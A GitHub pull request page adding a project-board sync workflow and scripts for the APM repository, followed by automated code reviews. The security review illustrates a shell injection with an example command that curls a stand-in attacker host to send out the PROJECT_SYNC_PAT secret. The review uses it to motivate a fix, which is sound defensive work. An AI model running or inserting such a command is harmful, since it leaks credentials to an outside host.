Skip to content

feat(ci): PGS project board sync workflow + bootstrap script#919

Open
danielmeppiel wants to merge 2 commits intomainfrom
feat/pgs-project-sync
Open

feat(ci): PGS project board sync workflow + bootstrap script#919
danielmeppiel wants to merge 2 commits intomainfrom
feat/pgs-project-sync

Conversation

@danielmeppiel
Copy link
Copy Markdown
Collaborator

What

Auto-sync workflow that mirrors the APM Roadmap project board to the live label taxonomy.

Part of epic #916.

Files

  • .github/workflows/project-sync.yml -- fires on issue/PR opened|labeled|unlabeled|milestoned|demilestoned|closed|reopened events; idempotent
  • scripts/project/sync_item.py -- pure-stdlib Python; reads labels+milestone, writes Theme/Area/Kind/Priority/Tier project fields
  • scripts/project/backfill.sh -- one-shot backfill helper; already executed locally against the 7 currently-labelled issues

Tier derivation

Issue state Milestone state -> Tier
closed any Shipped
open open + 0.9.x Now
open open + 0.10.0+ Next
open none Later

Setup gate (org admin)

This PR is mergeable on its own; the workflow becomes operational once an org admin:

  1. Generates a fine-grained PAT with Projects: Read & Write + Issues: Read on microsoft/apm
  2. Stores it as repo secret PROJECT_SYNC_PAT

Until then, the workflow runs but the sync step fails (graceful no-op for unrelated PRs since the if: guards on theme/* labels).

Verification

Backfill was already executed against the 7 open theme-labelled issues. Project board now shows the cohort under correct Theme/Area/Kind/Priority/Tier values. See project board.

Followup work tracked in #916

  • Manual creation of the 6 secondary views (Now/Next/Later board, three per-theme boards, triage queue, good-first-issue) -- the GraphQL API does not expose view-creation mutations
  • README badge link to the public project URL
  • Discussion Roadmap — Now / Next / Later #116 top-link to the project URL

Copilot AI review requested due to automatic review settings April 24, 2026 22:19
@danielmeppiel danielmeppiel added theme/governance Governed by policy. apm-policy, audit, enforcement, enterprise rollout. area/ci-cd GitHub workflows, merge queue, gh-aw integrations, release pipeline. type/automation Automation script, workflow, gh-aw, dependabot config. status/in-flight A PR is open and progressing. priority/high Ships in current or next milestone labels Apr 24, 2026
Wires up https://github.com/orgs/microsoft/projects/2304 (APM Roadmap)
to stay in lockstep with the theme/*/area/*/type/*/priority/* label
taxonomy. Single Python script does the GraphQL; one workflow fires on
issues+PRs label/milestone events; a one-shot backfill script seeds
existing labelled work.

Tracking: #916 (PGS roadmap-management system epic).

Setup gate (one time, manual): an org admin must save a fine-grained
PAT with Projects: Read & Write + Issues: Read on microsoft/apm as the
PROJECT_SYNC_PAT secret. The 7 issues currently labelled with theme/*
have already been backfilled into the project as a smoke test.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds automation to keep the APM PGS GitHub Project board in sync with the repo’s new label taxonomy (Theme/Area/Kind/Priority) and milestone-derived Tier.

Changes:

  • New workflow to trigger project sync on issue/PR label + milestone lifecycle events.
  • New Python script to read issue/PR metadata and write ProjectV2 single-select fields via GraphQL.
  • New backfill script to populate/sync existing theme-labeled issues/PRs.
Show a summary per file
File Description
.github/workflows/project-sync.yml Adds event-driven workflow to run the sync script with a PAT secret.
scripts/project/sync_item.py Implements GraphQL read/write logic and derives Theme/Area/Kind/Priority/Tier from labels + milestone.
scripts/project/backfill.sh One-shot helper to find theme-labeled open items and invoke the sync script.
CHANGELOG.md Adds an Unreleased changelog entry for the new automation.

Copilot's findings

Comments suppressed due to low confidence (1)

scripts/project/backfill.sh:22

  • REPO is defined but the GraphQL search query hard-codes repo:microsoft/apm. Using $REPO in the query would avoid drift if the script is reused or the repo name changes.
REPO="microsoft/apm"
LIMIT="${LIMIT:-100}"
PROJECT_ID="PVT_kwDOAF3p4s4BVoGw"
HERE="$(cd "$(dirname "$0")" && pwd)"

export PAGER=cat GH_PAGER=cat

echo "Fetching open issues + PRs with any theme/* label..."
ISSUES=""
for THEME in theme/portability theme/security theme/governance; do
  CHUNK=$(gh api graphql -f query='
  {
    search(query: "repo:microsoft/apm is:open label:\"'$THEME'\"", type: ISSUE, first: '$LIMIT') {
      nodes { ... on Issue { id number title } ... on PullRequest { id number title } }
  • Files reviewed: 4/4 changed files
  • Comments generated: 7

Comment on lines +195 to +196
print(f"Syncing {content.get('repository', {}).get('nameWithOwner')}#{content['number']}: {content['title']}")
print(f" labels: {labels}")
Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This prints content['title'] (and the labels list) directly. Issue/PR titles and labels can contain non-ASCII characters, which can raise UnicodeEncodeError on Windows/cp1252 terminals and violates the repo's ASCII-only output rule. Consider sanitizing these values for output (e.g., encode('ascii', 'backslashreplace').decode() or similar) or avoid printing user-controlled text entirely.

Copilot uses AI. Check for mistakes.
Comment on lines +5 to +7
# Requires: GITHUB_TOKEN env var with project + repo scopes.
# Usage: scripts/project/backfill.sh [--limit N]
set -euo pipefail
Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The header says Usage: scripts/project/backfill.sh [--limit N], but the script does not parse --limit (it only reads LIMIT from the environment). Either implement --limit argument parsing or update the usage comment to match the actual interface.

This issue also appears on line 9 of the same file.

Copilot uses AI. Check for mistakes.
Comment on lines +23 to +27
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
sparse-checkout: scripts/project
Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This workflow uses ubuntu-latest. Elsewhere in the repo CI workflows are pinned to ubuntu-24.04 for determinism; consider pinning here as well to avoid unexpected breakages when GitHub changes the default runner image.

Copilot uses AI. Check for mistakes.
Comment thread CHANGELOG.md
Comment on lines 11 to 13
### Added
- PGS project board sync: `scripts/project/sync_item.py` and `.github/workflows/project-sync.yml` keep https://github.com/orgs/microsoft/projects/2304 in lockstep with `theme/*`, `area/*`, `type/*`, `priority/*` labels and milestones. Backfill helper at `scripts/project/backfill.sh`. (#919)

Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The changelog entry still ends with (#TBD). Per the repo changelog rules, entries should end with the actual PR number before merge (e.g., (#919) for this PR).

Copilot uses AI. Check for mistakes.
jobs:
sync:
if: |
github.event_name == 'workflow_dispatch' ||
Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The job-level if only runs when the current label set contains theme/. For unlabeled events that remove the last theme/* label, this condition will be false, so the workflow won't run and the project item won't be cleared/updated. Consider also keying off the event's label.name for labeled/unlabeled actions (e.g., run when github.event.label.name starts with theme/).

Suggested change
github.event_name == 'workflow_dispatch' ||
github.event_name == 'workflow_dispatch' ||
startsWith(github.event.label.name, 'theme/') ||

Copilot uses AI. Check for mistakes.
Comment on lines +198 to +199
item_id = add_to_project(args.project_id, args.content_id)
print(f" item: {item_id}")
Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

addProjectV2ItemById is not idempotent: if the issue/PR is already on the project, GitHub returns a GraphQL error and the script exits (via gql()), which will break sync on subsequent label/milestone events. Consider first querying for an existing ProjectV2 item for this content ID (or catching the specific error and then looking up the existing item id) and only calling addProjectV2ItemById when needed.

Copilot uses AI. Check for mistakes.
Comment on lines +168 to +181
def derive_field_value(labels, mapping):
for lab in labels:
if lab in mapping:
return mapping[lab]
return None


def derive_area(labels):
for lab in labels:
if lab in AREA_NAMES:
return lab.split("/", 1)[1]
return None


Copy link

Copilot AI Apr 24, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Theme/Kind/Priority/Area selection depends on the order of labels returned by GraphQL (which is not a stable precedence). If multiple matching labels exist (multi-theme and multi-area are explicitly allowed in #916), this can lead to non-deterministic field values and flapping updates. Recommend implementing an explicit precedence order (e.g., Portability < Security < Governance for Theme) and a deterministic rule for Area (e.g., choose a primary area label or sort and pick consistently).

Suggested change
def derive_field_value(labels, mapping):
for lab in labels:
if lab in mapping:
return mapping[lab]
return None
def derive_area(labels):
for lab in labels:
if lab in AREA_NAMES:
return lab.split("/", 1)[1]
return None
def derive_field_value(
labels: list[str], mapping: dict[str, str]
) -> str | None:
"""Return the first mapped value using explicit mapping precedence.
GraphQL label ordering is not a stable source of precedence. This
function instead treats the insertion order of ``mapping`` as the
authoritative precedence and returns the first matching mapped value.
"""
label_set = set(labels)
for label_name, mapped_value in mapping.items():
if label_name in label_set:
return mapped_value
return None
def derive_area(labels: list[str]) -> str | None:
"""Return a deterministic Area value from the available labels.
Multiple area labels may be present. To avoid flapping updates caused
by GraphQL label ordering, choose the lexicographically first matching
area label and map it to the single-select option name.
"""
matching_areas = sorted(label for label in labels if label in AREA_NAMES)
if not matching_areas:
return None
return matching_areas[0].split("/", 1)[1]

Copilot uses AI. Check for mistakes.
@danielmeppiel
Copy link
Copy Markdown
Collaborator Author

Layout direction (mirroring GitHub Public Roadmap): default view becomes Board, group-by Tier, slice-by Theme. UI steps updated in #920. The sync script needs no change -- Theme + Tier are already the two fields it writes.

@github-actions
Copy link
Copy Markdown

APM Review Panel Verdict

Disposition: REQUEST_CHANGES (two required pre-merge fixes: shell injection hardening + CHANGELOG URL typo)


Per-persona findings

Python Architect: This PR is purely procedural infrastructure automation outside src/apm_cli/ -- no class hierarchy, no APM CLI patterns. The Python script is a standalone utility with module-level functions.

1. OO / class diagram

classDiagram
    direction LR
    class sync_item_py {
        <<Module>>
        <<IOBoundary>>
        +main() int
        +gql(query, variables) dict
        +fetch_project_meta(project_id) dict
        +fetch_content(content_id) dict
        +add_to_project(project_id, content_id) str
        +update_single_select(pid, iid, fid, oid) void
        +clear_field(pid, iid, fid) void
        +derive_tier(content) str
        +derive_field_value(labels, mapping) str
        +derive_area(labels) str
    }
    class backfill_sh {
        <<Script>>
        <<IOBoundary>>
    }
    class project_sync_yml {
        <<GitHubAction>>
        <<IOBoundary>>
    }
    class GitHubGraphQLAPI {
        <<ExternalSystem>>
    }
    class GitHubProjectV2 {
        <<ExternalSystem>>
    }
    class sync_item_py:::touched
    class backfill_sh:::touched
    class project_sync_yml:::touched
    classDef touched fill:#fff3b0,stroke:#d47600
    sync_item_py ..> GitHubGraphQLAPI : NET POST
    sync_item_py ..> GitHubProjectV2 : NET mutates
    backfill_sh ..> sync_item_py : EXEC spawns
    project_sync_yml ..> sync_item_py : EXEC spawns
    note for sync_item_py "Pure procedural; outside APM CLI src/"
Loading

2. Execution flow diagram

flowchart TD
    A[GH Event: issue or PR labeled/milestoned] --> B{job if: contains theme/ label?}
    B -- No --> C[Skip]
    B -- Yes --> D["[FS] actions/checkout@v4 sparse-checkout: scripts/project"]
    D --> E{event_name?}
    E -- workflow_dispatch --> F["[FS] echo id from inputs.content_id to GITHUB_OUTPUT"]
    E -- issues --> G["[FS] echo id from github.event.issue.node_id"]
    E -- pull_request_target --> H["[FS] echo id from github.event.pull_request.node_id"]
    F --> I
    G --> I
    H --> I
    I["[EXEC] python3 scripts/project/sync_item.py --content-id node_id"] --> J["[NET] gql: fetch_project_meta -- fields/options"]
    J --> K["[NET] gql: fetch_content -- labels, milestone, state"]
    K --> L["[NET] gql: addProjectV2ItemById mutation"]
    L --> M[derive_tier / derive_field_value / derive_area]
    M --> N{for each field: Theme Area Kind Priority Tier}
    N -- value present --> O["[NET] gql: updateProjectV2ItemFieldValue"]
    N -- value None --> P["[NET] gql: clearProjectV2ItemFieldValue"]
    O --> N
    P --> N
    N -- all done --> Q[Exit 0]
Loading

3. Design patterns

Design patterns

  • Used in this PR: none -- straight-line procedural script appropriate for a single-purpose CI automation utility outside src/
  • Pragmatic suggestion: none -- 228 lines, single purpose; any abstraction layer would be over-engineering at this scope

Architecture concern (non-blocking): derive_tier() hardcodes milestone prefixes ("0.9.", "0.8.") at line ~157. As APM advances past 0.9.x, the "Now" tier will never match. The prefix list should live in a constant at the top of the file with a comment tying it to the milestone naming convention, or be driven by config.


CLI Logging Expert: This PR does not touch src/apm_cli/, CommandLogger, DiagnosticCollector, or any APM CLI output path. sync_item.py uses raw print() and sys.stderr.write() -- appropriate for standalone CI automation logs consumed in GitHub Actions UI, not user-facing APM CLI output. CommandLogger / STATUS_SYMBOLS conventions do not apply. No issues.


DevX UX Expert: No APM CLI command surface changes. cli-commands.md does not need updating.

Contributor UX observations (non-blocking, all minor):

  1. workflow_dispatch input discoverability: The content_id input expects an opaque GraphQL node ID (e.g., I_kwDO...). The YAML description: says only "Issue or PR node ID to sync". Adding a one-liner on how to obtain it (e.g., via gh api graphql) would prevent confusion for the next maintainer who tries to use this manually.
  2. backfill.sh theme list drift risk: The script hardcodes theme/portability theme/security theme/governance. If THEME_MAP in sync_item.py gains a new theme, backfill.sh silently skips it. A # NOTE: keep in sync with THEME_MAP in sync_item.py comment costs nothing.
  3. Setup doc gap: The org-admin setup requirement (PROJECT_SYNC_PAT secret) lives only in the commit message. A one-paragraph scripts/project/README.md would surface it for future maintainers without requiring git log archaeology.

Supply Chain Security Expert: The primary threat surface for this PR is the GitHub Actions workflow.

Finding 1 -- REQUIRED FIX (shell injection, .github/workflows/project-sync.yml line 32):

# CURRENT -- expression directly interpolated into shell
echo "id=${{ inputs.content_id }}" >> "$GITHUB_OUTPUT"

${{ inputs.content_id }} is interpolated at workflow parse time, before the shell executes. A value containing shell metacharacters (e.g., `curl attacker.com -d $PROJECT_SYNC_PAT`) would execute with the runner's token context. Blast radius is write-access holders only (workflow_dispatch requires push permission), but the fix is a one-liner and is GitHub's own documented best practice:

# FIX -- pass through env var, never interpolate into shell
- name: Resolve content node ID
  id: cid
  env:
    INPUT_CONTENT_ID: ${{ inputs.content_id }}
  run: |
    if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
      echo "id=$INPUT_CONTENT_ID" >> "$GITHUB_OUTPUT"
    elif [ "${{ github.event_name }}" = "issues" ]; then
      echo "id=${{ github.event.issue.node_id }}" >> "$GITHUB_OUTPUT"
    else
      echo "id=${{ github.event.pull_request.node_id }}" >> "$GITHUB_OUTPUT"
    fi

Finding 2 -- pull_request_target + secret exposure (LOW, no action required): The workflow uses pull_request_target which gives access to PROJECT_SYNC_PAT during fork PR events. The theme/* label gate is the mitigating control: only maintainers (triage+ collaborators) can set labels. Checkout is base-repo only via sparse checkout; no fork code executes. This matches GitHub's recommended safe pattern for pull_request_target. Acceptable as-is.

Finding 3 -- Token scope (OK): PROJECT_SYNC_PAT described as Projects R/W + Issues R only. Well-scoped; no repo write, no admin:org. Token value never appears in stdout/stderr.


Auth Expert: Not activated -- PR only touches scripts/project/sync_item.py, scripts/project/backfill.sh, .github/workflows/project-sync.yml, and CHANGELOG.md. None are APM CLI modules. GITHUB_TOKEN / PROJECT_SYNC_PAT usage is GHA-native secret injection, not through APM's AuthResolver subsystem.


OSS Growth Hacker: No conversion surface impact -- README, quickstart, templates, and CLI surface are unchanged.

Positive signal: automated PGS roadmap sync is professional OSS hygiene that builds trust with potential contributors who browse the project board. At 250+ stars, the roadmap is actively viewed. The theme/* label taxonomy that drives this sync is a latent contributor-funnel hook ("pick a theme you care about, browse the board") -- worth a future CONTRIBUTING.md beat after this lands.

Side-channel to CEO: "Not a release story by itself, but a credibility signal. The CHANGELOG entry format is correct; just fix the URL typo."

One CHANGELOG observation: the entry contains (github.c/redacted) om/orgs/microsoft/projects/2304 -- there is a space inserted mid-URL (c om) that will break the hyperlink. This needs correcting.


CEO arbitration

Specialists are in full agreement on this PR. It is a narrow, well-scoped CI automation addition that belongs at this stage of the project: a growing OSS repo benefits from automated roadmap hygiene. The only blocking findings are Supply Chain Security's shell injection hardening (trivial one-liner fix, best practice regardless of current blast radius) and the CHANGELOG URL typo (cosmetic but factually incorrect). The Python Architect's derive_tier() version-prefix concern is real but small; tracking it as an optional follow-up is the right call -- fixing hardcoded version strings is a separate PR conversation. The Growth Hacker's observation about a future CONTRIBUTING.md beat is noted but explicitly out of scope here. Disposition: REQUEST_CHANGES pending the two required fixes below.


Required actions before merge

  1. Shell injection fix (.github/workflows/project-sync.yml, Resolve step, line ~32): Move inputs.content_id out of the shell interpolation context into an env: block. Use $INPUT_CONTENT_ID in the run: body. See the Supply Chain Security finding above for the exact replacement block.
  2. CHANGELOG URL typo (CHANGELOG.md, Unreleased section): (github.c/redacted) om/orgs/microsoft/projects/2304 contains a space mid-URL. Change to https://github.com/orgs/microsoft/projects/2304.

Optional follow-ups

  • derive_tier() in scripts/project/sync_item.py: Promote the hardcoded milestone prefixes ("0.9.", "0.8.") to a named constant with a comment tying it to the milestone naming convention. As APM version numbers advance this will silently stop matching.
  • scripts/project/backfill.sh: Add a # NOTE: keep this theme list in sync with THEME_MAP in sync_item.py comment to prevent silent drift when new themes are added.
  • scripts/project/README.md: One-paragraph file documenting the one-time setup requirement (org admin creates PROJECT_SYNC_PAT with Projects R/W + Issues R scope). Currently only in the commit message.
  • workflow_dispatch content_id input: Extend the YAML description: to include a one-liner on how to obtain a GraphQL node ID (e.g., via gh api graphql) to help the next maintainer who uses this manually.

Generated by PR Review Panel for issue #919 · ● 657.5K ·

Points to https://github.com/orgs/microsoft/projects/2304 alongside Documentation / Quick Start / CLI Reference. Part of #919.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/ci-cd GitHub workflows, merge queue, gh-aw integrations, release pipeline. priority/high Ships in current or next milestone status/in-flight A PR is open and progressing. theme/governance Governed by policy. apm-policy, audit, enforcement, enterprise rollout. type/automation Automation script, workflow, gh-aw, dependabot config.

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

2 participants